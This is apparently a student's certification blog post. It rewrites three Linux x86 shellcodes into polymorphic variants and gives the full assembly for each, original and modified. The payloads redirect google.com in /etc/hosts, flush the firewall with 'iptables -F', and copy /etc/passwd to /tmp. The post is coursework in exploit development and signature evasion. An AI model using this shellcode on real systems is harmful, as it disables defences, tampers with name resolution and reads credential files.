SLAE32 Assignment 6: Polymorphism
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1009
For assignment 6, the instructions are to take 3 sample shellcodes from shell-storm.org and polymorphize them. They cannot be more than 150% the size of the original, and there are bonus points to be had if it is less in size than the original.
Shellcode 1
Add Entry to Hosts to Point Google to 127.0.0.1
This shellcode is 77 bytes, so the maximum length of the polymorphized version is 115 bytes.
Here is the original assembly of the shellcode:
;77 bytes
_start:
xor ecx, ecx
mul ecx
mov al, 0x5
push ecx
push 0x7374736f ;/etc///hosts
push 0x682f2f2f
push 0x6374652f
mov ebx, esp
mov cx, 0x401 ;permmisions
int 0x80 ;syscall to open file
xchg eax, ebx
push 0x4
pop eax
jmp short _load_data ;jmp-call-pop technique to load the map
_write:
pop ecx
push 20 ;length of the string, dont forget to modify if changes the map
pop edx
int 0x80 ;syscall to write in the file
push 0x6
pop eax
int 0x80 ;syscall to close the file
push 0x1
pop eax
int 0x80 ;syscall to exit
_load_data:
call _write
google db "127.1.1.1 google.com"
Here is my modified version of it:
;76 bytes
_start:
xor eax, eax
add al, 0x5
jmp short _load_data ; load both strings in at once
_write:
pop ebx
lea edx, [ebx+11]
xor byte [ebx+10],0xff ; null terminator
mov ecx,eax
mov cx, 0x401
int 0x80 ;syscall to open file
mov ebx,eax
mov al,0x4
xchg ecx,edx ; put address of string into ecx
add dl,19
int 0x80 ;syscall to write in the file
mov al,0x6 ; assume that the previous call succeeds and has 0x14 in the eax register
int 0x80 ;syscall to close the file
inc eax ; assume call to close succeeds and eax is left with 0
int 0x80 ;syscall to exit
_load_data:
call _write
data: db "/etc/hosts",0xff,"127.1.1.1 google.com"
One of the main differences that I introduced was to put all of the data at the end, and just use the offset of 11 to reference the second part. I also made some assumptions about the success of previous calls. I figured those were valid assumptions, as if they didn’t succeed, the shellcode wouldn’t work anyway.
One interesting thing I learned from this is that operations are smaller when working with eax as opposed to edx. So for example, I shaved one byte off by exchanging eax and edx first and then subtracting from eax.
Most importantly, I was able to reduce the overall size of the code from 77 bytes to 76 bytes!
Shellcode 2
This shellcode is 69 bytes, so the maximum length of the polymorphized version is 103 bytes.
Here is the original assembly of the shellcode:
;69 bytes
xorl %eax,%eax
xorl %ebx,%ebx
movb $2, %al
int $0x080
cmpl %ebx,%eax
jne WAIT
xorl %eax,%eax
pushl %eax
pushw $0x462d
movl %esp,%esi
pushl %eax
pushl $0x73656c62
pushl $0x61747069
pushl $0x2f6e6962
pushl $0x732f2f2f
movl %esp,%ebx
leal 0x10(%esp),%edx
pushl %eax
pushl %esi
pushl %esp
movl %esp,%ecx
movb $0xb,%al
int $0x80
WAIT:
movl %eax, %ebx
xorl %eax, %eax
xorl %ecx, %ecx
xorl %edx, %edx
movb $7, %al
int $0x80
First thing to do is convert it to intel format, as I am used to that now after this course. I echoed all the hex values from the original source, using the -ne option, and piped it to ndisasm to get the intel format.
00000000 31C0 xor eax,eax
00000002 31DB xor ebx,ebx
00000004 B002 mov al,0x2
00000006 CD80 int 0x80
00000008 39D8 cmp eax,ebx
0000000A 752D jnz 0x39
0000000C 31C0 xor eax,eax
0000000E 50 push eax
0000000F 66682D46 push word 0x462d
00000013 89E6 mov esi,esp
00000015 50 push eax
00000016 68626C6573 push dword 0x73656c62
0000001B 6869707461 push dword 0x61747069
00000020 6862696E2F push dword 0x2f6e6962
00000025 682F2F2F73 push dword 0x732f2f2f
0000002A 89E3 mov ebx,esp
0000002C 8D542410 lea edx,[esp+0x10]
00000030 50 push eax
00000031 56 push esi
00000032 54 push esp
00000033 89E1 mov ecx,esp
00000035 B00B mov al,0xb
00000037 CD80 int 0x80
00000039 89C3 mov ebx,eax
0000003B 31C0 xor eax,eax
0000003D 31C9 xor ecx,ecx
0000003F 31D2 xor edx,edx
00000041 B007 mov al,0x7
00000043 CD80 int 0x80
Here is my modified version:
;68 bytes
global _start
section .text
_start:
xor ecx,ecx
mul ecx
add al,0x2
int 0x80
cmp eax,ecx
jnz _wait
;xor eax,eax ; not necessary since this is the child process, so eax will be 0
push ecx
jmp short get_data
got_data:
pop ebx
xor byte [ebx+14],0xff
xor byte [ebx+17],0xff
mov edx,esp
push edx
lea ecx, [ebx+15]
push ecx
push ebx
mov ecx,esp
add al,0xb
int 0x80
_wait:
xor ebx,ebx
xchg eax,ebx
add al,0x7
int 0x80
get_data:
call got_data
data: db "/sbin/iptables",0xff,"-F",0xff
The major change I made was to switch it to a jmp-call-pop version. I also used xor ecx,ecx
and mul ecx
to set more registers to 0, which allowed a great reduction in code for the parent process.
One interesting tip from this exercise was the command set follow-fork-mode parent
in gdb, to allow you to follow the parent’s execution or the child’s.
Most importantly, I was able to reduce the overall size of the code from 69 bytes to 68 bytes!
Shellcode 3
Copy /etc/passwd to /tmp/outfile
This shellcode is 97 bytes, so the maximum length of the polymorphized version is 145 bytes.
Here is the original assembly of the shellcode:
;97 bytes
global _start
section .text
_start:
xor eax,eax
mov al,0x5
xor ecx,ecx
push ecx
push 0x64777373
push 0x61702f63
push 0x74652f2f
lea ebx,[esp +1]
int 0x80
mov ebx,eax
mov al,0x3
mov edi,esp
mov ecx,edi
push WORD 0xffff
pop edx
int 0x80
mov esi,eax
push 0x5
pop eax
xor ecx,ecx
push ecx
push 0x656c6966
push 0x74756f2f
push 0x706d742f
mov ebx,esp
mov cl,0102o
push WORD 0644o
pop edx
int 0x80
mov ebx,eax
push 0x4
pop eax
mov ecx,edi
mov edx,esi
int 0x80
xor eax,eax
xor ebx,ebx
mov al,0x1
mov bl,0x5
int 0x80
Here is the assembly that I turned it into:
;107 bytes
global _start
section .text
_start:
xor ecx,ecx
mul ecx
add al,0x5
jmp get_data
got_data:
pop esi
xor byte [esi+0xb],0xff
mov ebx,esi
int 0x80
xchg ebx,eax
mov eax,ecx
sub al,0xfd
not dx
sub esp,edx
mov ecx,esp
int 0x80
mov edi,eax
lea ebx,[esi+0xc]
xor byte [ebx+0xc],0xff
xor eax,eax
add eax,0x5
xor ecx,ecx
add cl,0x42
xor dx,0xff5b
int 0x80
xor ebx,ebx
xchg ebx,eax
add eax,0x4
xchg edi,edx
mov ecx,esp
int 0x80
xor eax,eax
or al,0x1
mov bl,0x5
int 0x80
get_data:
call got_data
data: db "/etc/passwd",0xff,"/tmp/outfile",0xff
I made lots of little changes, such as where I subtracted a negative number 0xfd to get the syscall for read into eax. I also did not dx
instead of mov dl,0xfff
, since I observed that it was already set to 0. I also turned it into a jmp-call-pop style to get the data altogether.
I did have to subtract enough room on the stack to fit the contents read from the file. Not even the original code was running correctly, as it was not reading any data from the file due to invalid memory. After making sure enough room was allocated on the stack, it worked fine.
I was not able to make this one smaller, but added 10 bytes to the shellcode length. Not smaller, but definitely under the 150% budget.